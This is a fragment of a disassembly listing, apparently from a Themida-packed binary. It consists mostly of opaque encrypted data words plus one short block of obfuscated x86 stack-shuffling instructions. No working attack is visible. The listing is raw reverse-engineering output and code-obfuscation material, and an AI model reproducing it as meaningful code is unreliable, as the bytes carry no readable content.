		dd 0E8F9C3C0h, 0Bh, 0AB6A6A63h,	0CF7CE3BAh, 8A69F6BEh
		dd 6A5EF7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 816114C3h, 0A6C30AC9h, 0E9C08B65h, 0Dh, 115E5DA8h
		dd 84A68266h, 0CBECDC4Dh, 51BD8300h, 62A24h, 0BD830975h
		dd 62A2A89h, 50197400h,	0B8C08B53h, 40Eh, 1A018589h, 9D8D062Ah
		dd 62CBBD0h, 585BD3FFh,	2A89BD83h, 7400062Ah, 0B8535017h
		dd 40Eh, 1A018589h, 9D8D062Ah, 62CB871h, 585BD3FFh, 39E98166h
		dd 57006AF2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 6AC08B6Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch
		db 44h
byte_5808E9	db 24h,	4, 1Dh		; DATA XREF: Themida_:005594BCo
		dd 47000000h, 54B8C357h, 0AF433DD2h, 25B356AAh,	8EBC28Bh
		dd 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 3415858Bh
		dd 858D062Ah, 62D9A76h,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 62D4B90h, 344DBD83h,	0F00062Ah, 0F84h, 6A6000h, 343995FFh
		dd 0E961062Ah, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 2D4B8C85h, 90B58B06h, 0C1062D4Bh,	896610CEh
		dd 0B58B0272h, 62D4B90h, 0FC728966h, 8C858B61h,	0C3062D4Bh
		dd 3065958Dh, 9589062Ah, 62A0C79h, 0F599589h, 85FF062Ah
		dd 62A0F59h, 27C985C6h,	6853062Ah, 0FCB148D8h, 231DB5FFh
		dd 858D062Ah, 62A3BBFh,	8589D0FFh, 62A3439h, 437B858Dh
		dd 8589062Dh, 62A2849h,	0FBE900EBh, 0E9000005h,	5EFh, 2D4D4468h
		dd 31BCE906h, 5768FFFDh, 0E9062D4Eh, 0FFFD31B2h, 2D4EF268h
		dd 31A8E906h, 0E268FFFDh, 0E9062D4Fh, 0FFFD319Eh, 2D50E968h
		dd 3194E906h, 47A1FFFDh, 3EC37B15h, 25DE9630h, 0BFBB34Dh
		dd 0E91BD36Dh, 4B15F18Bh, 9D373DC7h, 0BC5620E5h, 0DD77E304h
		dd 0F993DD25h, 3005FA13h, 87289CC9h, 13765BF2h,	0C5475E4Bh
		dd 103F978Eh, 226F7D29h, 8ECC1BE9h, 7D033297h, 7BC1226Fh
		dd 51226F7Dh, 226F7CE8h, 6F7D56E4h, 12F0BE22h, 0B105745Eh
		dd 4C1A9E0Fh, 0CE332A3Bh, 0A26FA16Bh, 43F23B90h, 45A3544Eh
		dd 33E24DA4h, 3ED88265h, 4A10D7A5h, 88D21553h, 0DCF94E9Eh
		dd 1BDFAF1Eh, 180DBCDEh, 0A89A2F1Dh, 772637A2h,	6A0AFAC8h
		dd 2D600E73h, 76E1AA70h, 5AE42670h, 7DC923E4h, 44Dh, 0CD67F5F3h
		dd 0E882EC15h, 59FD330h, 25BFB94Dh, 43DD976Dh, 0EB199D67h
		dd 0CE37EF89h, 91560EA8h, 8B772FC9h, 4C654BE5h,	9CC9DE57h
		dd 7C4CE128h, 0BBA5CB37h, 18119D82h, 6881CD6Eh,	8B2E0C71h
		dd 3EDE226Fh, 0E38D754Bh, 0FF719149h, 2B45BD15h, 0B6A9B341h
		dd 7F7A22E0h, 7EF01100h, 96B5F599h, 0AD1DEB85h,	23D2E7C7h
		dd 3C0h, 0A5CB375Bh, 0E35247F6h, 0D4226F7Ch, 99187269h
		dd 226F7DA1h, 53291C56h, 6312C1AFh, 6F7CC76Eh, 968DF822h
		dd 988DA68Ch, 226F7D9Dh, 75CDB722h, 6B39E872h, 81F0DA98h
		dd 0DFF2D395h, 160D1E62h, 24AE540Ch, 6FA9062Fh,	804EB922h
		dd 6904EE82h, 0CA1E6E58h, 3E23D281h, 0FBFE8303h, 10251A43h
		dd 0A7226FC8h, 833B453Ch, 7442F17Fh, 5CF7E18Dh,	478FEC77h
		dd 1D14E9D3h, 0DC9A6BC3h, 2BDBA942h, 48F1564Dh,	0AB227003h
		dd 9F6D1C5Ah, 0BB150C62h, 1ECD166Bh, 45ED0929h,	353BA624h
		dd 6A84CC6Bh, 3A3884DEh, 0E0000003h, 2BA5408h, 1DD56FFFh
		dd 3AF28CE6h, 5A12ACCCh, 5430CAAAh, 76FE068Ah, 95E124DCh
		dd 0B6A443FBh, 0D29E641Ch, 44395238h, 289CCAF1h, 376131C6h
		dd 0BC1EE8CBh, 6F7D6EC7h, 0D5E65122h, 0C46B50EBh, 86D897EAh
		dd 1C745E6Fh, 48A08AE6h, 401FB9BDh, 22706639h, 7056A693h
		dd 0BEB84D22h, 36CD9BD4h, 0C0B7523Ch, 7075DE5Bh, 0E1C81D22h
		dd 9680EE13h, 762F06FBh, 25902270h, 0C1B66514h,	22707674h
		dd 0F012E04Bh, 756A8980h, 24467039h, 9D0D137Eh,	0AC6A8521h
		dd 29F0652h, 0A3450000h, 9A671FB9h, 81823AD4h, 679F57F1h
		dd 45BF7711h, 0EFB9952Fh, 41DB996Bh, 60FA7C89h,	811B3FA8h
		dd 9D3739C9h, 8CA99EB7h, 33289CCBh, 0CB37CE9Eh,	9F63BBA5h
		dd 0AF5422D1h, 55650EEFh, 0A0B15312h, 0B7C14FA9h, 5C14EEC4h
		dd 8C5B29C2h, 0D59A64FAh, 6A7B9948h, 9AEEE580h,	0D2E7E530h
		dd 21BA0h, 0A756D800h, 6F7D83B2h, 0D89C6822h, 0E65153EEh
		dd 7DAF8AEFh, 0A344226Fh, 586909FAh, 0BCE106BEh, 0A3602E4Ah
		dd 394AE5CFh, 6AF0F74Fh, 1E170CBBh, 0BE226F7Dh,	0FB8BDC36h
		dd 0C7323456h, 0DEE876D0h, 0B4D215EBh, 0F7E4A209h, 0E07A6D39h
		dd 394A5BF6h, 0AF38069Fh, 6A60B4ABh, 66D2E743h,	5Eh, 23328D7h
		dd 0B5226FA6h, 3FFB534Ah, 0FDF2A1EAh, 244569D9h, 0C2C423F1h
		dd 9D5D946Ch, 2E253681h, 694B51BCh, 0E06A843Eh,	1AF3A86h
		dd 93550000h, 8A772FC9h, 71924AE4h, 57AF6701h, 35CF8721h
		dd 0FFC9A53Fh, 51EB897Bh, 700A6C99h, 912B2FB8h,	0AD4729D9h
		dd 7CB9AEC7h, 43289CCCh, 0F009DEAEh, 6F7D32FBh,	200A7522h
		dd 8C3B1FC8h, 393048BEh, 0E58B772Fh, 3A57ABFBh,	5A923F27h
		dd 78122370h, 993327C0h, 654F21E1h, 0E47EF80Dh,	0A09CD82Ch
		dd 7BA39287h, 0A9142270h, 0E0D92CFAh, 553F5024h, 8027D5BAh
		dd 14A25508h, 0DB8AC31Dh, 706A4FE6h, 0E057022h,	0A53F33D0h
		dd 0F793270Ch, 11804800h, 438CE41Ah, 70020159h,	8C42F7D6h
		dd 64B9226Fh, 0D8BD6C1Bh, 1136DDBFh, 58BDB416h,	2445D5A6h
		dd 3D180EBh, 1ED670FEh,	49A18BE3h, 72E8FF9Eh, 593E7761h
		dd 0C0180D1Fh, 54928945h, 494BF1B1h, 1F99B51Ch,	7A28CE2h
		dd 0A3FBE5F6h, 95631260h, 0B7110852h, 5BDACF7Eh, 5C289A54h
		dd 6FC4FAF1h, 6C827726h, 0CD2A7030h, 23625C62h,	8DE7645Bh
		dd 0A841h, 0C29A4E00h, 0DD917028h, 0FA788B43h, 1A5EA860h
		dd 383CC880h, 74F8C29Eh, 924AE490h, 0B1690373h,	0D28A2436h
		dd 0C0A64030h, 0CD83B2A7h, 9F34289Ch, 0A5CB37CFh, 0D19F63BBh
		dd 5C4F59E7h, 472DD7A5h, 4DDDC25Dh, 1117B2E8h, 0D1316F66h
		dd 0BD6C059Fh, 6FFC6DC8h, 2E75222h, 0B5F20897h,	3D9188B1h
		dd 0D2E7EA8Dh, 1F43h, 1CE6B400h, 4E74C1B6h, 0E04B2270h
		dd 534AE5CFh, 7D2A10FBh, 37CB226Fh, 12F39F39h, 31000000h
		dd 6F7D2910h, 6438CA22h, 1B73559Ah, 39D3E44Fh, 2336D267h
		dd 0DEC89255h, 21A4C43h, 69000000h, 0ABB13711h,	0D79969C1h
		dd 85295EDh, 373FC61Eh,	650FF54Dh, 93E1237Bh, 0C3B551A9h
		dd 0F08281D9h, 1B53AE06h, 89511631h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 242C895Ch, 81E78957h, 4C7h,	4EF8100h
		dd 87000000h, 895C243Ch
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		push	77A23DA9h
		pop	ebx
		shr	ebx, 8
		and	ebx, 5AC83408h
		push	ecx
		mov	ecx, 43AC2021h
		neg	ecx
		xor	ecx, 0D5F5F3A2h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 9C474021h
		mov	edi, ebx
		pop	ebx
		push	63B9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [eax+8]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 53h
		dd 0FCBFF455h, 0B84BD77Ah, 62D51B6h, 0D18BC503h, 51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0EB0009FDh, 20h, 7 dup(0)
		dd 576E900h, 6AE90000h,	68000005h, 62D547Bh, 0FD2B3DE9h
		dd 552F68FFh, 33E9062Dh, 68FFFD2Bh, 62D56F5h, 0FD2B29E9h
		dd 576D68FFh, 1FE9062Dh, 2CFFFD2Bh, 4E06A0BCh, 6921BBB3h
		dd 863ED89Ah, 0A65EF880h, 0A07C165Eh, 0C2B252D6h, 0E1957028h
		dd 2588F47h, 1E52B068h,	90859E84h, 289CD0A5h, 37B5851Ah
		dd 591BE9CCh, 5ADF5E48h, 96A26F7Dh, 0EEBC7366h,	0DB766018h
		dd 0D3A90E4h, 189652E7h, 0CE000000h, 6F7D2A10h,	357ED322h
		dd 2F559186h, 5FCA2442h, 1C19C5h, 10570000h, 226F7D29h
		dd 85347DD2h, 422F5690h, 0C660CB24h, 132B482Dh,	41E92CAAh
		dd 0CC37F24Ah, 0AF303AD2h, 0A3B42A03h, 0C9863AB9h, 8B7B5D90h
		dd 8C9DD130h, 0B9B94AA2h, 1A0DAFCFh, 37F0682Dh,	0CEDF36A8h
		dd 0B48A7D0Dh, 2A934F4Fh, 6717D290h, 0B40CBC56h, 72C7BC6Bh
		dd 4DA26EE5h, 62A0F8E2h, 2CDB740Eh, 6EE4FE37h, 68F2F5A2h
		dd 0CD685D66h, 0F2A26EE4h, 497F7687h, 7FCABF4h,	0A444B11Fh
		dd 124B35A0h, 0B405EB2Dh, 1CCB5CB6h, 44900E27h,	4F46B19Ch
		dd 44904FEAh, 7E71A19Ch, 0BC1D3892h, 0E6DB8A4Ch, 9C44884Fh
		dd 27115DA4h, 281F8A8Ch, 9D17h,	88564F00h, 720DF77Bh, 0A7F0457Bh
		dd 73EF13F8h, 308361BCh, 7D251A39h, 95244242h, 4C363CC7h
		dd 280D02B1h, 8F289CBDh, 50BB2D24h, 402ED3A1h, 0A65C2A49h
		dd 776C1BCAh, 289CBCBEh, 0A2A4CE35h, 0FDE7877Ah, 505A5162h
		dd 66A98h, 6A877615h, 388EDA34h, 0BC000003h, 0DE96302Ch
		dd 0F9B14B23h, 16CE680Ah, 36EE88F0h, 300CA6CEh,	5222E266h
		dd 710500B8h, 92C81FD7h, 0AEC240F8h, 20152E14h,	289CD115h
		dd 564515AAh, 7D83B2A7h, 0C934226Fh, 2F9A0D2h, 49170000h
		dd 36D1BBBDh, 0A756E73Fh, 6F7D83B2h, 0FBC93422h, 37756C0Ah
		dd 3DBCA6CCh, 226F7CFCh, 6F7CE9D0h, 8C5B2922h, 7B49E4CEh
		dd 8EF3EA88h, 226F7DAEh, 6F7D1524h, 7D82B722h, 0EF4A226Fh
		dd 0CE26F7Ch, 0CABF6EB7h, 0E4438352h, 8B590873h, 7712FC7Ah
		dd 81D62680h, 0DBEC8A7Bh, 57AF7D2Ch, 0A59C3721h, 72792E40h
		dd 222893EAh, 24612EFDh, 84A6F24Ch, 8000002h, 2AE27CE0h
		dd 45FD97D7h, 621AB4BEh, 823AD4A4h, 7C58F282h, 9ED62EB2h
		dd 0BDB94C04h, 0DE7C6B23h, 0FA768C44h, 6C617A60h, 289CD1C9h
		dd 378959EEh, 11F6A5CBh, 48D9478Eh, 328C83CEh, 98D62BF9h
		dd 0C6AE56AEh, 623041DCh, 50EBD585h, 0C8CE2359h, 0B34E383Ch
		dd 84FEF3A2h, 3D2442F0h, 7586F015h, 92E023DBh, 0AFC340F8h
		dd 0BEA78CC5h, 0C97F15E0h, 4297CDC4h, 43CF665Bh, 85F0289Dh
		dd 4454E1D6h, 6B289Dh, 9C9140EFh, 289D4499h, 9DBCB31Eh
		dd 6FF652A8h, 0EA84EF2Ah, 0F3818351h, 12A297FCh, 4592270h
		dd 8F5D0CBBh, 7D180258h, 0C35D2186h, 0B7222442h, 0A8C83A08h
		dd 0D23314F9h, 97DC767Ah, 24DE96A0h, 307CB9AEh,	0D843289Dh
		dd 6B7CFC0Ah, 8F3D7BCh,	0C0BD1940h, 39F06FC9h, 0A2289D2Fh
		dd 6055044Dh, 2A6FE08Ah, 4F1DCC37h, 6D0100B3h, 0F80AC25Ch
		dd 251AC978h, 22705D10h, 0EB453CA7h, 705CBD6Ch,	2E93E22h
		dd 705D280Dh, 13248F22h, 0E8B6F64h, 0B9872443h,	0E53D2749h
		dd 0D06B551Fh, 6012F1BFh, 0F9EEF769h, 289D2F3Ch, 87B83EA0h
		dd 1C1EDB09h, 546511F4h, 0E2F37B86h, 0D39D6533h, 0FCF1A039h
		dd 289D3239h, 0DE1C137Eh, 12624C24h, 0D0C574BDh, 2A6FE416h
		dd 0D19F638Bh, 513B4CE7h, 706467D2h, 66598922h,	0E7F5507Ah
		dd 0C80D2h, 10B80000h, 226F6229h, 7D6h,	29101400h, 0B0226F67h
		dd 83B2A756h, 34226F7Dh, 479CD2C9h, 285A4FFEh, 6924422Eh
		dd 83814FFEh, 0CED75E53h, 7DE8289Ch, 0F0E7826Ch, 0A8F14696h
		dd 0AEA204F9h, 0EF172A72h, 0DD7862F8h, 0A863C6CCh, 8CE66461h
		dd 0BE40h, 0B6A64200h, 0D19D641Ch, 0EE847F37h, 0E6A9C54h
		dd 2C48BC74h, 68ECB692h, 863ED89Ch, 0A55DF77Fh,	0C67E1842h
		dd 0B49A343Ch, 0D38FA69Bh, 9B30289Ch, 5F8856CBh, 7CCD685Dh
		dd 87F2226Fh, 23F18C76h, 10AB95E3h, 458EE319h, 0EB19E796h
		dd 0D049F89h, 422EDAA8h, 463BEA24h, 289CCEEFh, 0FC6E65D0h
		dd 257A791h, 0E1150AB9h, 562A72C4h, 924EE5EBh, 0A1FB6461h
		dd 4655h, 3E1ECA00h, 5915ECA4h,	76FC07BFh, 96E224DCh, 0B4C044FCh
		dd 0F0743E1Ah, 0EC66014h, 2DE57FF7h, 4E06A0BAh,	3C22BCB4h
		dd 0D4072E23h, 23B8289Ch, 114353h, 56810000h, 0EB7C7C71h
		dd 8F5D6C92h, 7914FE74h, 37E33B82h, 69C1ABB1h, 95EDD799h
		dd 0C61E0852h, 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h
		dd 0AE06F082h, 16311B53h, 5E08950h, 4, 4BF57h, 0F8290000h
		dd 2404875Fh, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
		dd 2434895Ch, 73D268h, 241C8900h, 2D530B68h, 24348B06h
		dd 6804C483h, 5839h, 83242489h,	5B042404h, 52F28952h, 5A08438Fh
		dd 5B2434FFh, 0FF04C483h, 815E2434h, 4C4h, 25ECE900h, 0BE5EFFFDh
		dd 4AE05277h, 25A57566h, 0F837E363h, 57D8B8D3h,	0C503062Dh
		dd 0EE8C88Bh, 84000000h, 26A1667Eh, 64423D4Bh, 34A9B39Ah
		dd 1890FA9h, 0F5000000h, 3BC6815Eh, 0E8000075h,	12h, 47105587h
		dd 3AE37819h, 0AD59BB3Dh, 0CCA54284h, 0F60946Eh, 0A8BEC3B7h
		dd 611BCAA5h, 0BA59h, 7E80000h,	99000000h, 9459A0AFh, 8B5F8464h
		dd 0D7801604h, 38C0816Eh, 0E921605Ah, 0Ah, 6D45236Eh, 0BDA9CA9Fh
		dd 0C08185BAh, 431023C2h, 9AB3E981h, 0F0813FA8h, 442F201Fh
		dd 160489F5h, 0B8E0Fh, 810F0000h, 5, 0A553C7BBh, 0CBB70F2Eh
		dd 0F03EA83h, 814ACEB7h, 0FF8BA0FAh, 18850FFFh,	66000000h
		dd 2FE9FB8Bh, 0CD000000h, 0DF2D146Ah, 45BF53E3h, 2B0A5781h
		dd 56FE6754h, 8E0F57h, 59000000h, 0FF81E95Fh, 0E301FFFFh
		dd 0B4BB82CDh, 9EB5F692h, 93245990h, 5DE94B87h,	21000001h
		dd 0E75D320Dh, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
		dd 0BCECA4h, 52C55DD5h,	0A4D676D3h, 4100FC94h, 50C1AEC4h
		dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
		dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
		dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
		dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
		dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h,	0B0F3622Dh
		dd 38AE29h, 3C0000h, 400000h, 2	dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 29h dup(0)
		dd 2077E9h, 5CD36800h, 7FE9062Dh, 68FFFD23h, 62D5DD4h
		dd 0FD2375E9h, 5ED968FFh, 6BE9062Dh, 68FFFD23h,	62D5F7Bh
		dd 0FD2361E9h, 607368FFh, 57E9062Dh, 68FFFD23h,	62D6154h
		dd 0FD234DE9h, 623B68FFh, 43E9062Dh, 68FFFD23h,	62D6325h
		dd 0FD2339E9h, 66D868FFh, 2FE9062Dh, 68FFFD23h,	62D6741h
		dd 0FD2325E9h, 689F68FFh, 1BE9062Dh, 68FFFD23h,	62D6B72h
		dd 0FD2311E9h, 6EF368FFh, 7E9062Dh, 68FFFD23h, 62D72A6h
		dd 0FD22FDE9h, 740168FFh, 0F3E9062Dh, 68FFFD22h, 62D747Ah
		dd 0FD22E9E9h, 74F668FFh, 0DFE9062Dh, 68FFFD22h, 62D7564h
		dd 0FD22D5E9h, 770668FFh, 0CBE9062Dh, 68FFFD22h, 62D77EAh
		dd 0FD22C1E9h, 79AE68FFh, 0B7E9062Dh, 0C4FFFD22h, 0E69E3824h
		dd 1B9531Bh, 1ED67002h,	3EF690E8h, 3814AEC6h, 5A1AEA6Eh
		dd 79FD08C0h, 9AC027DFh, 0B6BA4800h, 281D361Ch,	289CD80Dh
		dd 374D1DB2h, 63BBA5CBh, 5422D19Fh, 3CD7C1ADh, 97139C57h
		dd 988F2BF8h, 4089DE8Eh, 0EF14E291h, 4FFE9983h,	6FC0DB5Ah
		dd 7A71DC22h, 459D5515h, 755FCA24h, 99DD43F6h, 2337B028h
		dd 4E20E139h, 0D9CCD664h, 0CCBFEFC0h, 1169EAE0h, 59E6D9h
		dd 89570000h, 7712FC5Eh, 0EA3F2880h, 0B68303E4h, 0B5AF95C4h
		dd 3ED9C3D4h, 10442759h, 3849DF30h, 8AF5DA89h, 6FEBFCBBh
		dd 5205EA85h, 0BE431192h, 5E54B9B0h, 0B6244633h, 47AAB7D1h
		dd 30CBB5BBh, 53B39C4Bh, 957FEA5Ch, 9A592316h, 0AA9DCD28h
		dd 11EA0CBEh, 0CCC4D9h,	37FC0000h, 82BBA5CBh, 38224EB4h
		dd 9C68A69Dh, 6C96EED8h, 40C21A04h, 7D989D92h, 0B41F226Fh
		dd 522A09A3h, 27226F79h, 18E695DBh, 49BA88ECh, 70283229h
		dd 0A4F4DE92h, 6257064Fh, 24455F50h, 6810F6C4h,	2AD7FF71h
		dd 34135F44h, 7E3FBBF0h, 0B5D9BE6Dh, 0DADC82F8h, 0D0808A81h
		dd 8E83327Bh, 2A6E7DC4h, 9563127Dh, 8856056Fh, 710CF67Ah
		dd 28D7707Ah, 758B0233h, 534AB522h, 7F85EF15h, 64604C54h
		dd 874F9BF5h, 6400001Dh, 863ED884h, 0A159F37Bh,	0BE761062h
		dd 0DE963048h, 0D8B44E26h, 0FA7A8A0Eh, 195DA860h, 3A20C77Fh
		dd 561AE8A0h, 0C8BDD6BCh, 289CD96Dh, 37EDBD52h,	740DA7CDh
		dd 7D65D0C5h, 0EF5A226Fh, 2848BAF8h, 0EA3FBC8Eh, 0B5FDF2A1h
		dd 0FA244556h, 0D8FBE08Fh, 0B6E0A348h, 0AF2E887Fh, 289A568Ah
		dd 57433666h, 0D911E673h, 0DA5Dh, 300CE00h, 0D4F2E79Bh
		dd 82934E6Eh, 0CB37338Bh, 0A163BBA5h, 126AE9D3h, 0E7226F79h
		dd 3BB551Bh, 0DDC271FFh, 2AD8877Eh, 0DE656146h,	0E122318h
		dd 3AA52270h, 88D83229h, 8C3BEA33h, 7D8416A7h, 0EFBD5D96h
		dd 0DA755F15h, 6E347EE3h, 31E02445h, 0EAFFF34Ch, 0EADF970Eh
		dd 289A564Bh, 0C76E636Ch, 0F8289A55h, 13857C8Dh, 95E0EA8h
		dd 451C11C0h, 0CA2A6E9Eh, 1FE2B05Fh, 0FCCA654Fh, 57766D09h
		dd 4AF97B89h, 0F5EC887Ch, 0A3D133EBh, 609F409Dh, 63AF0964h
		dd 1C86h, 3DD78563h, 58F27C85h,	750F63A0h, 952F49BDh, 0B34D27DDh
		dd 7B890DD7h, 5EA75FF9h, 21C67E18h, 1BE79F39h, 0BCD5BB55h
		dd 9CDA6EC7h, 0ECBC5128h, 0DA7CD37h, 585DA674h,	0CEB8C9ADh
		dd 4FE3C33h, 3700D26Ch,	63BBA5CBh, 40DCFD9Fh, 0C98C96A3h
		dd 8010251Ah, 3CA7226Fh, 0DFB8912Bh, 6B0BFAC8h,	0A4AF1281h
		dd 63A5AAFAh, 0D0255B52h, 0FE3D887h, 0B0244645h, 0DF77B88h
		dd 172832B5h, 55684D06h, 6DA50BE0h, 5F332C88h, 13D7CB6Ah
		dd 9C81ECDDh, 0EEE57CACh, 8A5D63B8h, 6110BFD0h,	0CF926E7Ch
		dd 1F160AE1h, 0E9C464BAh, 271C25DEh, 0DEFDC40Eh, 4B3546B1h
		dd 0F2E72D12h, 0B85411B8h, 0ED368BC1h, 0EFAA8F3Eh, 7305010Eh
		dd 0B550808Eh, 862759BEh, 5F68E0D3h, 1380CB6Ah,	91E520DDh
		dd 0B056248Fh, 3243DEC8h, 854DB583h, 1381A590h,	9EAF1ADDh
		dd 0FDB64C04h, 0E8836D07h, 4216D1D7h, 0D9331EFEh, 1B818Dh
		dd 0D28A5E00h, 0ED818038h, 0A689B53h, 2A4EB870h, 482CD890h
		dd 8408D2AEh, 0A25AF480h, 0C1791363h, 0E29A3426h, 0D0B65020h
		dd 0DB73C2B7h, 0AF44289Ch, 0A5CB37DFh, 0CD166BBBh, 0CBC06F1Eh
		dd 226F7D6Ah, 86EBE24Dh, 24457BE8h, 6B44DE49h, 448DE230h
		dd 0EE18E695h, 0C42E938Ah, 7D2A6F61h, 44745912h, 0C8E5DE43h
		dd 0D4C907FAh, 0EA20FC61h, 0E3DAEB56h, 600F58ADh, 0F6DEB36Bh
		dd 9F89F4EBh, 1E13FA4Fh, 0E40AD917h, 7D2C3DA8h,	0E0A3F888h
		dd 9F4EB9E5h, 0A53F31D1h, 555B15EDh, 2C0BA59Ch,	0DF0753ADh
		dd 0BC00001Ah, 0DE96302Ch, 0F9B14B23h, 16CE680Ah, 36EE88F0h
		dd 300CA6CEh, 5222E266h, 710500B8h, 92C81FD7h, 0AEC240F8h
		dd 20152E14h, 289CDC15h, 374515AAh, 6BBBA5CBh, 83D71016h
		dd 0B3C54199h, 0EDE291A2h, 24456745h, 1C190EBDh, 0A3289997h
		dd 0A8F85338h, 0AC1D93F3h, 29D843B5h, 0E1CBA95Bh, 6C454F46h
		dd 529BF03Eh, 0AF44AEA3h, 92FD2A6Fh, 3977F4D9h,	0F64BEC8h
		dd 9A6817C6h, 85200A6Ah, 2BF5298Eh, 4FBAC0EEh, 77C01565h
		dd 0C73419C8h, 0FA67264Eh, 0DEA207FEh, 0F2BEC7DCh, 0E48E7543h
		dd 0CB6A5FFAh, 20BF182Ah, 8A38DE1h, 0F7EC9B06h,	0BF182B3Eh
		dd 0AD1F1681h, 6F81F26Eh, 8C3E29E5h, 18917504h,	0E190A1B2h
		dd 359F6432h, 17D3F540h, 4E5FCABFh, 0D48BAA9Fh,	0C12CBF17h
		dd 5C768CCAh, 17D3CE67h, 0B886F1BFh, 7F192A4Eh,	2F353BC7h
		dd 10295CCh, 0E7D7237Dh, 0C4000019h, 0E69E3824h, 1B9531Bh
		dd 1ED67002h, 3EF690E8h, 3814AEC6h, 5A1AEA6Eh, 79FD08C0h
		dd 9AC027DFh, 0B6BA4800h, 281D361Ch, 289CDD0Dh,	374D1DB2h
		dd 82BBA5CBh, 37214DB4h, 1A6FA59Ch, 37CAD314h, 0A1B24D37h
		dd 92E52BBCh, 0FC0D8A70h, 8437684Dh, 9E42F71Eh,	0BD988A7h
		dd 0F7927CFAh, 0A4139B00h, 19E72445h, 39E88EAh,	952F9A0Ch
		dd 4FA4EABCh, 90625706h, 312A6F82h, 0AB280DC6h,	80DF2DC8h
		dd 8433E22Bh, 92874DB6h, 1FB231A3h, 0AE98A914h,	67B71C13h
		dd 28218814h, 2E83D3BDh, 3F4136E5h, 0D31FADDEh,	29062F24h
		dd 14ED1FB2h, 8ED585Ah,	2820C335h, 87A7134h, 4A3FEE9Dh
		dd 1FB1B7EBh, 4B6A61CCh, 25F2B79Ch, 0E258B9C1h,	1B55ADEBh
		dd 3739C981h, 9C55D431h, 0CF1B7561h, 1906h, 0BD5705E3h
		dd 0D872FC05h, 0F58FE320h, 15AFC93Dh, 33CDA75Dh, 0FB098D57h
		dd 0DE27DF79h, 0A146FE98h, 9B671FB9h, 3C553BD5h, 9CDDEE47h
		dd 6C3CD128h, 1207CB37h, 226F7D23h, 69182994h, 1108669Bh
		dd 55B07EB7h, 9FF42A21h, 3CB2A756h, 0FD244559h,	7C1FF892h
		dd 3FC3C91Eh, 7C712031h, 2A6F7F76h, 3145C08Eh, 80A88D82h
		dd 0A40F226Fh, 17D03BADh, 0A78EC832h, 0E9FECCB1h, 3A2450B4h
		dd 9A48E9Fh, 8187DC12h,	6B06F082h, 68B6AB5Ah, 7CB80E54h
		dd 0CC30E797h, 0ED9235Bh, 0B6C7624Ch, 0F8E24DBFh, 5B0A53A8h
		dd 27941A66h, 22E0AEBAh, 0F37ABBB0h, 0D23DB637h, 453CD7C1h
		dd 0D4B968D3h, 5EEFABFEh, 83A299C0h, 0EDD1EFD4h, 18E85192h
		dd 98AE35C7h, 0D5CCDD3Fh, 6B056B97h, 1B214FB3h,	0F8228EF4h
		dd 1FAFFB55h, 0FC000018h, 1ED670ECh, 39F18BE3h,	560EA8CAh
		dd 762EC8B0h, 704CE68Eh, 92E222A6h, 0B1C540F8h,	0D2885F17h
		dd 0EE828038h, 60556E54h, 289CDED5h, 378555EAh,	11F6A5CBh
		dd 0A713AD94h, 87E1D8DCh, 0EA99E237h, 9074605h,	0F8EF6F3Ch
		dd 46F3E4D9h, 19842442h, 15EDBB6Ah, 0F1D6715Bh,	6A41FEE6h
		dd 0FC3A31F7h
		dd 5ED7CC06h, 0B4289CF5h, 9CF576BFh, 0DCDE4928h, 2DC66071h
		dd 0F5AC897Eh, 0A813289Ch, 0F4594CB1h, 419A289Ch, 5CA65EF8h
		dd 32E17A14h, 9CF4F83Dh, 5097BF28h, 0DA2BF90Ah,	1A6FA59Ch
		dd 0A57322D1h, 0B81D145Eh, 2A6F9E1Fh, 17C675E0h, 0E8B6B849h
		dd 0D5705A1Eh, 3961A0DEh, 0D52C92A2h, 2C92B499h, 0BF999C91h
		dd 0B31E226Fh, 3FF791A2h, 6016EFC2h, 0F50D654Fh, 0BF4DE8DDh
		dd 772226Fh, 8029F0F6h,	0C620645Ah, 17357Ah, 86D61200h
		dd 0A1CD34ECh, 0BEB44F07h, 0DE9A6C24h, 0FC788C44h, 38BC8662h
		dd 560EA8CCh, 752DC7AFh, 964EE872h, 846A046Ch, 0DFBF766Bh
		dd 6B00289Ch, 0A1EA3F9Bh, 92DE24F2h, 0F7160DA8h, 4225D502h
		dd 4CFB6624h, 3DEC847Eh, 84678858h, 720DF763h, 274FAE8Dh
		dd 9CBD0332h, 3849B428h, 0EF9E3741h, 1368460Ah,	0F3E8C397h
